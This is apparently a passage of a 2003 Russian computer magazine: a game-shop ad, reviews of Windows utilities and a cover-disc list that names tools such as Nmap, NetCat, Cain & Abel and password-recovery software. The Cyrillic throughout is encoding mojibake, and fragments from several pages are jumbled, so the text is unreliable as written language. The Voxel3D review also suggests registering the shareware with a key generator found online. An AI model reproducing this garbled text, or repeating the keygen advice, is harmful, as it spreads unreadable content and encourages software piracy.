áîëüøå ïîõîæè íà èãðóøå÷íûå<br />

àíàëîãè, à òàêæå íåâåðîÿòíî<br />

óáîãèå êàðòû.<br />

92 Íüþñû 1 Ôåððóì 2 PC_Zone 3 X-Ñòèëü 4 Âçëîì


ÈÍÒÅÐÍÅÒ ÌÀÃÀÇÈÍ<br />

Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ<br />

ÁÛÑÒÐÎ ÓÄÎÁÍÎ ÄÎÑÒÓÏÍÎ<br />

PC Games<br />

òîáîé ïîñòàâèëè êóäà áîëåå<br />

ñëîæíóþ è íåîáû÷íóþ çàäà÷ó.<br />

Êàê-íèêàê, à ïîñòðîèòü îñòðîâïðèòîí<br />

äëÿ ïèðàòîâ - çàäà÷à<br />

íåïðîñòàÿ è íåîðäèíàðíàÿ. Ñ<br />

ïåðâîãî âçãëÿäà âèäíà êîëîññàëüíàÿ<br />

ðàáîòà ñöåíàðèñòîâ, õóäîæíèêîâ<br />

è ðàçðàáîò÷èêîâ. Âñå<br />

âûïîëíåíî íà âûñøåì óðîâíå.<br />

Ðåêîìåíäóþ!<br />

$79.99 $79.99 $79.99<br />

Grand Theft Auto:<br />

Vice City<br />

Star Wars<br />

Galaxies: An<br />

Empire Divided<br />

EVE Online: The<br />

Second Genesis<br />

$79,99<br />

The Matrix :<br />

Enter The Matrix<br />

Tropico 2: Pirate Cove<br />

Ýêîíîìè÷åñêèé ñèìóëÿòîð<br />

Tropico<br />

Frog City Software/Gathering<br />

P2-300(P3-600), 128(512), 3D<br />

Îáëîìèñü<br />

Íà ðåäêîñòü óäà÷íûé ñèêâåë ýêîíîìè÷åñêîãî<br />

ñèìóëÿòîðà. Â ýòîò<br />

ðàç îáû÷íûì òóðèñòè÷åñêèì îñòðîâîì<br />

òû íå îòäåëàåøüñÿ, ïåðåä<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

Las Vegas Casino Player’s<br />

Collection<br />

Êàçèíî<br />

Microsoft Casino<br />

ValuSoft/Antidote Entertainment<br />

P2-300(P3-500), 64(128)<br />

Îáëîìèñü<br />

Âñåì ëþáèòåëÿì àçàðòíûõ èãð<br />

ïîñâÿùàåòñÿ... Ñðåäè ñâîèõ ìíîãî÷èñëåííûõ<br />

ñîáðàòüåâ ïî êîíâåéåðó<br />

LVCPC âûäåëÿåòñÿ ñâîåé<br />

ïðîäóìàííîñòüþ è çàâåðøåííîñòüþ.<br />

Çäåñü âñå âçàèìîñâÿçàíî,<br />

ïðîäóìàííî è ãðàìîòíî ðåàëèçîâàíî.<br />

Òåáÿ íàâåðíÿêà ïîðàäóþò<br />

è âñå âèäû ðàçâëå÷åíèé, è<br />

âåëèêîëåïíàÿ àíèìàöèÿ (îñîáåííî<br />

äåéñòâèÿ êðóïüå), è çâóêîâîå<br />

ñîïðîâîæäåíèå, îòëè÷íî ñîçäàþùåå<br />

àòìîñôåðó.<br />

5 Êîäèíã 6 Hack-Faq 7<br />

ÏÐÈÃÎÂÎÐ ÐÓËÅ(Ç)!<br />

Óðîæäåííàÿ<br />

Æàíð<br />

Ïîõîæåñòü<br />

Ìàòü/îòåö<br />

Òðåáóåò<br />

Ãðóïïîâóõà<br />

Îïèñóõà<br />

ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />

$65.99 $15.99 $73,99<br />

$79.99<br />

WarCraft III: The<br />

Frozen Throne<br />

Neverwinter<br />

Nights: Shadows<br />

of Undrentide<br />

The Sims:<br />

Superstar<br />

Silent Hill 2<br />

Metal Gear<br />

Solid 2: Substance<br />

Deus Ex 2:<br />

Invisible War<br />

(DX2)<br />

PlanetSide<br />

$55.99 $39,99<br />

$79.99<br />

$75.99<br />

Republic:<br />

The Revolution<br />

Çàêàçû ïî èíòåðíåòó – êðóãëîñóòî÷íî!<br />

e-mail: sales@e-shop.ru<br />

Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü<br />

ñ 10.00 äî 21.00 ñ ïîíåäåëüíèêà ïî ïÿòíèöó<br />

ñ 10.00 äî 19.00 ñ ñóááîòû ïî âîñêðåñåíüå<br />

(095) 928-6089 (095) 928-0360 (095) 928-3574


Þíèòû<br />

ØàðîWAREZ<br />

M.J.Ash (m.j.ash@real.xakep.ru)<br />

SRE|copy<br />

v 2.1<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 1880 Kb<br />

Freeware<br />

http://www.pinedanet.com/products/srecopy<br />

Ðàíüøå ÿ âñå âðåìÿ òàñêàë ñ ñîáîé ïàðî÷êó ïåðåçàïèñûâàåìûõ<br />

äèñêîâ, íî òåïåðü, ñîáðàâøèñü íàâåñòèòü êîãîíèáóäü<br />

èç äðóçåé, ÿ ïî÷òè âñåãäà áåðó ñ ñîáîé âèí÷. À ÷òî<br />

ïîäåëàòü Íîâûå èãðû, ôèëüìû, ìóçûêà - îáúåì èíôîðìàöèè,<br />

ïåðåõîäÿùåé èç ðóê â ðóêè, èçìåðÿåòñÿ íûí÷å ãèãàáàéòàìè.<br />

Íà ñèäþê åå ñáðàñûâàòü – òàê êîìïàêòîâ íå<br />

õâàòèò. Äà è ìåäëåííî ýòî. Äàæå ñ âèí÷åñòåðà íà âèí÷åñòåð<br />

êîïèðîâàòü è òî ìåäëåííî! Îñîáåííî åñëè òû çàðàç<br />

õî÷åøü êîïèðíóòü ãèãàáàéò ýòàê ïÿòüäåñÿò. À äàæå õîòÿ<br />

áû è äåñÿòü – âñå ðàâíî ïðîöåññ êîïèðîâàíèÿ çàòÿíåòñÿ<br />

ìèíóò íà äâàäöàòü. Çíàêîìàÿ ïðîáëåìêà, íå ïðàâäà ëè<br />

Òåì, äóìàþ, èíòåðåñíåå òåáå áóäåò óçíàòü, ÷òî ïðîöåññ<br />

ãðóïïîâîãî êîïèðîâàíèÿ ôàéëîâ ìîæíî ìàëîñòü óïðîñòèòü<br />

è, âîçìîæíî, óñêîðèòü, âîñïîëüçîâàâøèñü<br />

SRE|copy. Ýòà óòèëèòà ïîçâîëÿåò â ëþáîé ìîìåíò ïðèîñòàíàâëèâàòü<br />

ïðîöåññ êîïèðîâàíèÿ, äîáàâëÿòü â î÷åðåäü<br />

«çàáûòûå» ôàéëû, óäàëÿòü èç íåå «ëèøíèå». Îíà èäåàëüíî<br />

ïîäõîäèò äëÿ ñêà÷èâàíèÿ «òÿæåëûõ» ôàéëîâ ïî ëîêàëüíîé<br />

ñåòè, ïîñêîëüêó óìååò îãðàíè÷èâàòü ñêîðîñòü ïåðåäà÷è<br />

äàííûõ (ò.å. òû ìîæåøü ïîòèõîíå÷êó «ñîñàòü»<br />

ôàéëî, íå ââåðãàÿ ðîäíóþ LAN â ñîñòîÿíèå ñòóïîðà). Ïîìèìî<br />

îãðàíè÷èòåëåé ñêîðîñòè â íàñòðîéêàõ SRE|copy òû<br />

îáíàðóæèøü ïîëçóíêè äëÿ ðåãóëèðîâêè ðàçìåðîâ áóôåðà,<br />

âûäåëÿåìîãî ïðîãðàììîé äëÿ îïåðàöèè êîïèðîâàíèÿ.<br />

Ê òîìó æå â ãëàâíîì îêíå SRE|copy âûâîäèòñÿ ïîäðîáíåéøàÿ<br />

èíôîðìàöèÿ î õîäå âûïîëíåíèÿ ðàáîò, ïîñëå<br />

êîòîðîé íà ïðîãðåññ-áàð ñòàíäàðòíîãî îêîøêà «Êîïèðîâàíèå…»<br />

Windows õî÷åòñÿ ðóãàòüñÿ ìàòîì.<br />

Ïðîãðàììà ðàáîòàåò è êàê îòäåëüíîå ïðèëîæåíèå, è<br />

êàê äîâåñîê ê îïåðàöèîííîé ñèñòåìå. Â ïîñëåäíåì<br />

ñëó÷àå êîïèðîâàíèå/ïåðåíîñ ôàéëîâ ñ ïîìîùüþ<br />

SRE|copy ïðîèñõîäèò àâòîìàòè÷åñêè, åñëè â îêíå<br />

Ïðîâîäíèêà òû ïåðåòàñêèâàåøü ôàéëû, óäåðæèâàÿ<br />

ïðàâóþ êíîïêó ìûøè. Ïðè îáû÷íîì ïåðåòàñêèâàíèè –<br />

íàæàòèåì è óäåðæàíèåì ëåâîé êíîïêè - êîïèðîâàíèå<br />

ôàéëîâ ïî-ïðåæíåìó áóäåò îñóùåñòâëÿòüñÿ îáû÷íûì<br />

(äåäîâñêèì :)) ñïîñîáîì.<br />

Desktop Thermometer v 1.0<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 1042 Kb<br />

Shareware<br />

http://www.zepsoft.com/thermometer<br />

Çà îêíîì ëþáîãî ïðèëè÷íîãî äîìà äîëæåí âèñåòü<br />

òåðìîìåòð. Íî êàê áûòü ÷åëîâåêó, äëÿ êîòîðîãî<br />

ðîäíûì äîìîì äàâíî óæå ñòàëè Âèíäû<br />

Äà ëåãêî! Îí ìîæåò ïîâåñèòü ñåáå çà îêíà (ãäåíèáóäü<br />

ñ êðàþ Ðàáî÷åãî ñòîëà) ïðîãðàììíûé<br />

ýìóëÿòîð ýòîãî ïðèáîðà. Ó÷èòûâàÿ, ÷òî ñêîðî<br />

ëåòî, ÿ áû íàçâàë òàêîé ïîñòóïîê ðàçóìíûì.<br />

Âåäü íàñòîÿùèé êîìïüþòåðùèê, ñîáèðàÿñü íà<br />

óëèöó è ðåøàÿ, ÷òî íàäåòü - øîðòû èëè äîæäåâèê,<br />

íå âûãëÿäûâàåò â îêíî, à íàáèðàåò â áðîäèëêå<br />

www.gismeteo.ru :). Ìîæåò, ïðàâäà, âîçíèêíóòü<br />

ïðîáëåìà âûáîðà ïðàâèëüíîãî ñîôòà,<br />

íî òóò, êàê âñåãäà, ÿ ìîãó êîå-÷òî ïîñîâåòîâàòü.<br />

Íàäåþñü, òû íå èç òåõ ëþäåé, êîòîðûå ëþáÿò<br />

òàùèòü ñåáå â Âèíäû âñå ñàìîå íàâîðî÷åííîå<br />

ïðîñòî äëÿ òîãî, ÷òîáû áûëî Çíà÷èò íàñòîÿùèé<br />

Ìåòåîöåíòð, ïðîãíîçèðóþùèé ïîãîäó íà<br />

äâà ãîäà âïåðåä è ïîñòîÿííî òàñêàþùèé èç Ñåòè<br />

ñâåæèå ñïóòíèêîâûå ñíèìêè, òåáå íà ìàøèíå<br />

íà ôèã íå íóæåí. Îê! Äóìàþ, ãîðàçäî áîëüøèé èíòåðåñ äëÿ òåáÿ ïðåäñòàâëÿåò ïðîãðàììà Desktop<br />

Thermometer. Ýòî èìåííî òî, î ÷åì ÿ ãîâîðèë – îáû÷íûé âèðòóàëüíûé òåðìîìåòð. Íî! Åãî èíòåðôåéñ íà<br />

ðåäêîñòü ïðèÿòíûé, åãî ðàçìåðû è ðàñïîëîæåíèå ìîãóò áûòü ïðîèçâîëüíûìè, íó à ãëàâíîå - Desktop<br />

Thermometer ÷åðïàåò èíôîðìàöèþ î ñîñòîÿíèè îêðóæàþùåé ñðåäû èìåííî èç òåõ èñòî÷íèêîâ, êîòîðûå òû<br />

åìó óêàæåøü! Òî åñòü åñëè äðóãèå ïðîãè ìîãóò è íå çíàòü î ñóùåñòâîâàíèè òâîåãî ëþáèìîãî Õðåíçíàåòãäååâñêà<br />

(à áîëüøèíñòâó èç íèõ âîîáùå íàïëåâàòü íà þçåðîâ, æèâóùèõ çà ïðåäåëàìè ÑØÀ), òî óæ ñ Desktop<br />

Thermometer’îì ó òåáÿ òàêèõ ïðîáëåì íå áóäåò. Óêàæåøü åìó íóæíîå ìåñòî íà ñòðàíè÷êå èíôîðìàöèîííîãî<br />

ñàéòà ñâîåãî ãîðîäà – è äåëî â øëÿïå! Äîïóñòèì, çà ïðîãíîçîì ïîãîäû äëÿ Ïèòåðà ÿ èäó íà www.gismeteo.ru/weather/towns/26063.htm.<br />

Íà ýòîé ñòðàíè÷êå çíà÷åíèå òåêóùåé òåìïåðàòóðû îêðóæàþùåé ñðåäû<br />

èäåò ñðàçó çà ñëîâîì «Òåìïåðàòóðà». Ïîñëå óñòàíîâêè ïðîãðàììû ÿ âïèñàë â åå íàñòðîéêè ñîîòâåòñòâóþùèé<br />

URL, à ñòðî÷êó «Òåìïåðàòóðà» äîáàâèë â ïîëå «Search definition» (ïîñëå êîììåíòàðèåâ).  ïîëå<br />

«Current web page…», ðàñïîëîæåííîì íèæå è ñîäåðæàùåì òåêñò óêàçàííîé ìíîé âåá-ñòðàíèöû, ýòî ñòðîêà<br />

ìîìåíòàëüíî áûëà âûäåëåíà ñèíèì öâåòîì, à ñëåäóþùåå çà íåé ÷èñëîâîå çíà÷åíèå - êðàñíûì. Íà ýòîì<br />

íàñòðîéêà ïðîãðàììû áûëà çàêîí÷åíà. Desktop Thermometer ìîìåíòàëüíî îæèë è ñ òåõ ïîð âîò óæå äâå íåäåëè<br />

ïîêàçûâàåò ìíå ïðàâèëüíîå çíà÷åíèå òåìïåðàòóðû, ðåãóëÿðíî ïðîâåðÿÿ åãî ÷åðåç Ñåòü è âûäàâàÿ äîïîëíèòåëüíûå<br />

ïîäðîáíîñòè ïî äâîéíîìó êëèêó ìûøêîé.<br />

Voxel3D v 1.1.1<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 3259 Kb<br />

Shareware<br />

http://www.everygraph.com/product/voxel3d<br />

Ïðîñòîé âîêñåëüíûé 3D-ðåäàêòîð. Îáúåêòû â<br />

íåì ôîðìèðóþòñÿ íå èç ïîëèãîíîâ, à èç ìàëåíüêèõ<br />

êóáèêîâ - âîêñåëåé. Íà ïðàêòèêå ýòî<br />

îçíà÷àåò, ÷òî ïðè îïðåäåëåííîé óñèä÷èâîñòè<br />

äîñòàòî÷íî êà÷åñòâåííûå òðåõìåðíûå ìîäåëè<br />

â Voxel3D ìîãóò ñîçäàâàòü ñàìûå îáû÷íûå<br />

þçåðû. Îíî è ïîíÿòíî – âñå ìû â äåòñòâå ñòðîèëè<br />

äîìà èç êóáèêîâ è ñîáèðàëè ìàøèíû èç<br />

ïëàñòìàññîâûõ äåòàëåé êîíñòðóêòîðîâ âðîäå<br />

Ëåãî. À òóò âñå òî æå ñàìîå: çäåñü êóáèê óáðàë,<br />

òàì äîáàâèë, ñþäà ïîñòàâèë êðàñíûé, òóäà –<br />

ñèíèé. Òÿï-ëÿï è ãîòîâî. Êà÷åñòâî ìîäåëè çàâèñèò<br />

ëèøü îò ðàçìåðîâ ýòèõ ñàìûõ êóáèêîâ –<br />

÷åì îíè ìåíüøå, òåì ëó÷øå.<br />

Íà÷àòü ðàáîòó ñ Voxel3D î÷åíü ïðîñòî – ñîçäàåøü<br />

íîâûé ïðîåêò, âûáèðàåøü â ìåíþ Create<br />

ïóíêò Full Cubic 3D canvas, ïîëó÷àåøü òðåõìåðíûé<br />

êóá çàäàííîãî ðàçìåðà è íà÷èíàåøü<br />

îòñåêàòü îò íåãî âñå ëèøíåå. Âðàùåíèå è<br />

ïðèáëèæåíèå/óäàëåíèå âûïîëíÿåòñÿ ìûøêîé<br />

(Alt + ëåâàÿ êíîïêà - âðàùåíèå ìîäåëè, îäíîâðåìåííî<br />

ïðàâàÿ è ëåâàÿ êíîïêà ìûøè – Zoom).<br />

Âèä îïåðàöèè (Add voxel, Remove voxel, Paint voxel) âûáèðàåòñÿ íàæàòèåì íà ñîîòâåòñòâóþùóþ èêîíêó<br />

íà ïàíåëè èíñòðóìåíòîâ. Âîò, ñîáñòâåííî ãîâîðÿ, è âñå, ÷òî òåáå íåîáõîäèìî çíàòü íà ïåðâûõ ïîðàõ.<br />

Åñëè Voxel3D òåáå ïîíðàâèòñÿ – ÷èòàé ñïðàâêó è ðàçáèðàéñÿ äàëüøå ñàì. Ê ïðèìåðó, çàãîíè â ïðîãðàììó<br />

êàêóþ-íèáóäü ãîòîâóþ òðåõìåðíóþ ìîäåëü (.obj, .3ds, .lwo è äð.) è ïîïûòàéñÿ åå äîðàáîòàòü. Åñëè<br />

÷òî ïîëó÷èòñÿ – ïîïðîáóé ñîõðàíèòü ðåçóëüòàò ñâîèõ óñèëèé â ôîðìàòå obj, ïîíÿòíîì áîëüøèíñòâó<br />

«íîðìàëüíûõ» 3D-ðåäàêòîðîâ.<br />

Êñòàòè, íàñ÷åò îïåðàöèé ñîõðàíåíèÿ, ýêñïîðòà è èìïîðòà. Óâû, â øàðîâàðíîé âåðñèè îíè íåäîñòóïíû.<br />

Ïîýòîìó òåáå ëèáî ïðèäåòñÿ çàïëàòèòü äåíåæêó, ëèáî âîñïîëüçîâàòüñÿ äëÿ ðåãèñòðàöèè ãåíåðàòîðîì<br />

êëþ÷åé, êîòîðûé ìîæíî áåç îñîáûõ óñèëèé íàéòè â èíòåðíåòå.<br />

94


NetLimiter<br />

v 0.91 beta 3<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 488 Kb<br />

Shareware<br />

http://www.netlimiter.com<br />

Ïðîãðàììà äëÿ íàáëþäåíèÿ<br />

çà ïðèëîæåíèÿìè,<br />

èñïîëüçóþùèìè èíòåðíåò,<br />

à òàêæå äëÿ êîíòðîëÿ<br />

çà ñîçäàâàåìûì èìè<br />

òðàôèêîì. Ñ åå ïîìîùüþ<br />

ëþáîìó ïðèëîæåíèþ<br />

ìîæíî óñòàíîâèòü<br />

îãðàíè÷åíèÿ ñêîðîñòè<br />

ïðèåìà-ïåðåäà÷è èíôîðìàöèè.<br />

Ýòî çíà÷èò,<br />

÷òî îòíûíå ðàñïîðÿæàòüñÿ<br />

ïðîïóñêíîé ñïîñîáíîñòüþ<br />

êàíàëà ñâÿçè òû<br />

ìîæåøü ïî ñâîåìó óñìîòðåíèþ.<br />

À òî âåäü êàê<br />

áûâàåò: ñîåäèíåíèå,<br />

âðîäå, áûñòðîå (íàïðèìåð,<br />

ADSL), à âåá-ñòðàíè÷êè<br />

îòêðûâàþòñÿ åëå-åëå. Ïî÷åìó À ïîòîìó ÷òî ìåíåäæåð çàãðóçêè ïîäìÿë<br />

ïîä ñåáÿ âåñü êàíàë ñâÿçè (÷òî, êñòàòè, ñòàðàåòñÿ ñäåëàòü ëþáîå ïðèëîæåíèå<br />

Windows – òàê óæ îíè óñòðîåíû). Íåõîðîøî. Îòêðûâàåì NetLimiter<br />

è óêàçûâàåì, ÷òî êà÷àëêà ìîæåò ãðóçèòü ôàéëû ñî ñêîðîñòüþ, íå ïðåâûøàþùåé,<br />

ñêàæåì, 4 êèëîáàéòà â ñåêóíäó. Äåëî ñäåëàíî! Òåïåðü òâîé êîìïüþòåð<br />

è ôàéëû ïîòèõîíüêó èç Ñåòè ñëèâàåò, è âåá-ñàéòû ïîêàçûâàåò áåç ïðîáëåì.<br />

Êîíå÷íî, äèàëàïùèêàì îò NetLimiter îñîáîé ïîëüçû íåò – ïðîïóñêíàÿ<br />

ñïîñîáíîñòü êàíàëà íàñòîëüêî ìàëà, ÷òî ðàñïðåäåëÿòü ìåæäó ïðèëîæåíèÿìè,<br />

â îáùåì-òî, è íå÷åãî. Õîòÿ, â ïðèíöèïå, óòèëèòó ìîæíî èñïîëüçîâàòü â<br />

êà÷åñòâå ïåðåêëþ÷àòåëÿ – ñíà÷àëà îòäàâàòü âñþ ïðîïóñêíóþ ñïîñîáíîñòü<br />

îäíîìó ïðèëîæåíèþ, çàòåì – äðóãîìó.<br />

HiContact v 1.6<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 1525 Kb<br />

Shareware<br />

http://www.gemx.com<br />

Ìåíåäæåð êîíòàêòîâ -<br />

åùå îäíà ñèìïàòè÷íàÿ<br />

ïðîãðàììà, ñîçäàííàÿ ðåáÿòàìè<br />

èç GemX. Îíà<br />

ïðåäíàçíà÷åíà äëÿ ëþäåé<br />

ñ ïëîõîé ïàìÿòüþ. Õîòÿ,<br />

åñëè ïîäóìàòü, âîçìîæíîñòè<br />

HiContact íå îñòàâÿò<br />

ðàâíîäóøíûìè è ðàáîòíèêà<br />

îòäåëà êàäðîâ, è<br />

ïðîäâèíóòóþ äåâóøêó,<br />

ñêëîííóþ ê áåñïîðÿäî÷íûì<br />

ñâÿçÿì, è òîãî, êòî â<br />

äåòñòâå ëþáèë èãðàòü â<br />

ÍÊÂÄ, à òåïåðü ñòàðàòåëüíî<br />

ñîáèðàåò äîñüå íà ñîñåäåé<br />

è ñîñëóæèâöåâ :).<br />

Ãëàâíàÿ ïðåëåñòü ïðîãè çàêëþ÷àåòñÿ â òîì, ÷òî íà êàæäûé òâîé «êîíòàêò» îíà<br />

âûäåëÿåò íå îäíó ñòðàíè÷êó, à öåëîå ëè÷íîå äåëî. Ðàáîòàòü íàä çàïîëíåíèåì<br />

ñòðàíèö ýòîãî äåëà ìîæíî ãîäàìè, ïî êðóïèöàì ñîáèðàÿ èíôîðìàöèþ è<br />

ëþáîâíî çàíîñÿ åå â áàçó äàííûõ HiContact. Íà÷àòü ìîæíî ñ ñàìîãî ïðîñòîãî:<br />

èìÿ, ôàìèëèÿ, òåëåôîí. Çàòåì, âåðîÿòíî, ê ýòîé èíôå óäàñòñÿ äîáàâèòü àäðåñ,<br />

ôîòîãðàôèþ (èëè äàæå íàáîð ôîòîãðàôèé), ãîä è ìåñòî ðîæäåíèÿ, äàííûå<br />

î ñåìåéíîì ïîëîæåíèè... Îòäåëüíàÿ ñòðàíèöà ëþáîãî ëè÷íîãî äåëà ñëóæèò<br />

äëÿ õðàíåíèÿ èíôîðìàöèè î ôèíàíñîâîì ñîñòîÿíèè ÷åëîâåêà, åùå îäíà<br />

îòâîäèòñÿ ÷ëåíàì åãî ñåìüè. Íó è òàê äàëåå…<br />

Âòîðàÿ ôèøêà çàêëþ÷àåòñÿ â òîì, ÷òî òû ìîæåøü ïðîñìàòðèâàòü ñâîþ êàðòîòåêó<br />

îòäåëüíî ïî êàæäîìó òèïó çàïèñåé. Òî åñòü äåëà ñðàçó îòêðûâàþòñÿ íà<br />

âûáðàííîé ñòðàíèöå: õî÷åøü – ñìîòðè, êòî êîãäà ðîäèëñÿ èëè êòî ñêîëüêî çàðàáàòûâàåò.<br />

Òàêæå HiContact ìîæåò ïîõâàñòàòüñÿ ìåõàíèçìîì ïîëíîòåêñòîâîãî ïîèñêà ïî<br />

çàïèñÿì ñ ïîääåðæêîé ðóññêîãî ÿçûêà.<br />

Îòäåëüíûå äåëà ïðîãà ïîçâîëÿåò ðàñêëàäûâàòü ïî ïðîèçâîëüíûì ñòîïêàì<br />

(êàòàëîãàì), âûäåëÿòü öâåòîì (ïèêòîãðàììàìè) è ðàñïå÷àòûâàòü. Ïàðîëüíàÿ<br />

çàùèòà ó ýòîé ïðîãè òîæå èìååòñÿ…. Òàê ÷òî åñëè òåáÿ èíòåðåñóåò ñîôò ïîäîáíîãî<br />

ðîäà – êà÷àé HiContact, íå îøèáåøüñÿ. Âåäü íå äàðîì æå ãîâîðÿò,<br />

÷òî â íàøå âðåìÿ âñå ðåøàþò ëè÷íûå ñâÿçè.


Þíèòû<br />

ØàðîWAREZ<br />

M.J.Ash (www.xknows.com, m.j.ash@real.xakep.ru)<br />

Nmap 3.20<br />

NetCat 1.10<br />

SMTP Relay Checker 0.9.6b<br />

phpWebThings 6.0<br />

Galeon 1.2.9<br />

@stake Sleuth Kit (TASK) 1.60<br />

PHP-Nuke 6.5<br />

Libsafe v2.0-16<br />

Mutt 1.4.1<br />

eDonkey2000 0.48.1<br />

ed2k-gtk-gui 0.5<br />

DNS Hijacker 1.3<br />

Intrusion Detection Exchange<br />

Architecture (IDEA) 1.1.0<br />

Logwatch 4.3.2<br />

mnoGoSearch 3.2.10<br />

Sniffdet 0.8<br />

TBFirewall 3.1<br />

ÌÓÇÛÊÀ<br />

Chipdisk #3 / Razor 1911<br />

BRAINCrusher / [DLC]team<br />

Cyber-Shaman / angerine<br />

VER 05.03 (53)<br />

ÄÅÌÊÈ<br />

0010 1010 / Federation Against<br />

Nature<br />

Magia / The Black Lotus<br />

Pornooise / MFX & Lunix<br />

Protozoa / Kewlers<br />

Relais / Kolor<br />

Still Sucking Nature / Federation<br />

Against Nature<br />

Project Genesis / Conspiracy<br />

Looking For The East / Fuzzion<br />

Messenger Key 5.5<br />

Revelation 2.0<br />

SAMInside v2.0<br />

Advanced Instant Messengers<br />

Password Recovery 1.70<br />

CipherWall 1.5<br />

Genius 3.2.2<br />

NoTrax 1.3.0.4<br />

FakeDate for Win32 1.002<br />

Metis 2.1<br />

Cain & Abel 2.5beta29<br />

TightVNC for Windows 1.2.8<br />

PE Tools 1.4.419.200<br />

MP3Stego 1.1.16<br />

Cmos password recovery tools 4.2<br />

Loonies AdMiNt 2.2<br />

SXNetworker 3.0<br />

htm2chm 3.0.3<br />

Zero Assumption Recovery 7.3.0<br />

DVD2SVCD 1.1.3 build 2<br />

DVD Decrypter 3.1.5.0<br />

Advanced Audio CD Ripper 1.049c<br />

Áèáëèîòåêà ðåôåðàòîâ 1.0<br />

Rage3D Tweak 3.8c<br />

DivX 5.05 Pro<br />

ReGet Deluxe 3.3.178<br />

Net Block Pro RE 1.33<br />

CorelDRAW Graphics Suite 11<br />

Connectix Virtual PC 5.2<br />

Windows Application Compatibility<br />

Toolkit 3.0<br />

Nero Burning ROM 5.5.10.20 + WMP9<br />

plugin<br />

Virtual CD 5.0<br />

OpenOffice 1.0.3.1<br />

Opera 7.1<br />

Winamp 2.91<br />

Âàæíûé áàãôèêñ äëÿ IE<br />

TRASH<br />

Êîìïîíåíòû äëÿ Delphi è C++ Builder<br />

Ñîðöû ïðîã èç "Êîäèíãà"<br />

X-Wallpapers<br />

Ñïðàâî÷íèê ïî ðååñòðó Windows<br />

Íàðîäíûå ñîâåòû<br />

FAQ ïî DELPHI 2.5<br />

CheMax Rus 1.2<br />

ÄÐÀÉÂÅÐÀ<br />

Lucent<br />

NVIDIA<br />

VIA<br />

ATI<br />

SiS<br />

3COM<br />

System<br />

Recon v 2.1<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 658 Kb<br />

Shareware<br />

http://systemrecon.triosade.com<br />

Ñèñòåìà äëÿ ïîèñêà ìàòåðèàëîâ ïîðíîãðàôè÷åñêîãî ñîäåðæàíèÿ.<br />

Íàòðàâëèâàåøü System Recon íà âåñü «Ìîé êîìïüþòåð»<br />

èëè íà êàêîé-ëèáî îòäåëüíûé äèñê, è îíà ïðîñìàòðèâàåò<br />

Cookies, çàêëàäêè, êýø è History áðàóçåðà, òåêñòîâûå äîêóìåíòû<br />

â ïîèñêàõ öåëîãî ðÿäà çàïðåùåííûõ ñëîâ. Ññûëêè íà ïîäîçðèòåëüíûå<br />

ôàéëû âûâîäÿòñÿ â ãëàâíîì îêíå. Îñîáàÿ ãîðäîñòü<br />

ðàçðàáîò÷èêîâ – ìåõàíèçì àíàëèçà èçîáðàæåíèé, ïðîâåðÿþùèé<br />

âñå îáíàðóæåííûå êàðòèíêè íà íàëè÷èå áîëüøèõ ïÿòåí<br />

öâåòà ÷åëîâå÷åñêîé êîæè. Êîíå÷íî, ëîæíûõ ñðàáàòûâàíèé õâàòàåò,<br />

íî óæ è ôîòêè äëÿ âçðîñëûõ îòëàâëèâàþòñÿ íà óðà. Óìåíüøåííûå<br />

êîïèè âñåõ ïîäîçðèòåëüíûõ èçîáðàæåíèé òàêæå âûâîäÿòñÿ<br />

â ãëàâíîì îêíå. Ñàìî ñîáîé, îêîí÷àòåëüíóþ ïðîâåðêó<br />

ïðèõîäèòñÿ âûïîëíÿòü ÷åëîâåêó. Îäíàêî, ñîãëàñèñü, ëåã÷å ïðîáåæàòüñÿ<br />

âçãëÿäîì ïî íåñêîëüêèì îáúåêòàì â îêîøêå è äâóìÿ<br />

êëèêàìè îòïðàâèòü â òðåø «ëèøíåå», ÷åì âûèñêèâàòü íåäîçâîëåííûé<br />

êîíòåíò íà ÷óæîé ìàøèíå âðó÷íóþ. Êîðî÷å ãîâîðÿ,<br />

System Recon – ñâîåîáðàçíûé ïîìîùíèê ëþáîãî àäìèíèñòðàòîðà.<br />

 äîìàøíåì æå õîçÿéñòâå ýòó ïðîãó òàêæå ïîëåçíî èìåòü<br />

ïîä ðóêîé íà òîò ñëó÷àé, åñëè òû âäðóã çàáóäåøü, â êàêîì êàòàëîãå<br />

êàêîãî èç òâîèõ ìíîãî÷èñëåííûõ äèñêîâ õðàíèòñÿ òâîÿ ëþáèìàÿ<br />

ïîäáîðêà ñ «âåñåëûìè êàðòèíêàìè» :).<br />

Êñòàòè, åñëè òû èíòåðåñóåøüñÿ ïðîãðàììàìè ïîäîáíîãî ðîäà<br />

(äîëæíîñòü ñèñàäìèíà îáÿçûâàåò èëè, äîïóñòèì, òû ïðîñòî íåíàâèäèøü<br />

ñåêñ âî âñåõ åãî ïðîÿâëåíèÿõ :)), îáðàòè âíèìàíèå íà<br />

óòèëèòó Snitch (www.hyperdynesoftware.com), î êîòîðîé íàø<br />

æóðíàë óæå êàê-òî ðàññêàçûâàë. Â íåé íàñòðîåê ïîáîëüøå áóäåò.<br />

Îäíà áåäà, Snitch âåñèò ìíîãîâàòî (ìåòðîâ øåñòü ñ ïîëîâèíîé)<br />

è ðàáîòàåò, èìõî, ìåäëåííåé, ÷åì System Recon. Ìåäëåííåé,<br />

íî òùàòåëüíåå :).<br />

ÑÎÔÒ<br />

SecuRE|copy 2.1<br />

Desktop Thermometer 1.0<br />

BookmarkHit 2.1<br />

HiContact 1.6<br />

NetLimiter 0.91 beta 3<br />

Popup Prank 1.0<br />

System Recon 2.1<br />

Voxel3D 1.1.1<br />

cdrLabel 7.0<br />

Zoom Player 3.0 PRO<br />

Screen Babe 2.1<br />

JavaGuard<br />

ProGuard 1.5.1<br />

RetroGuard 1.1<br />

JCloak<br />

JZipper<br />

DCompiler<br />

Mocha<br />

SourceTec<br />

Unisiemens 4.0<br />

SM45tools 1.2<br />

Siemens EEPROM tool 2.15<br />

Siemens XTNDConnect<br />

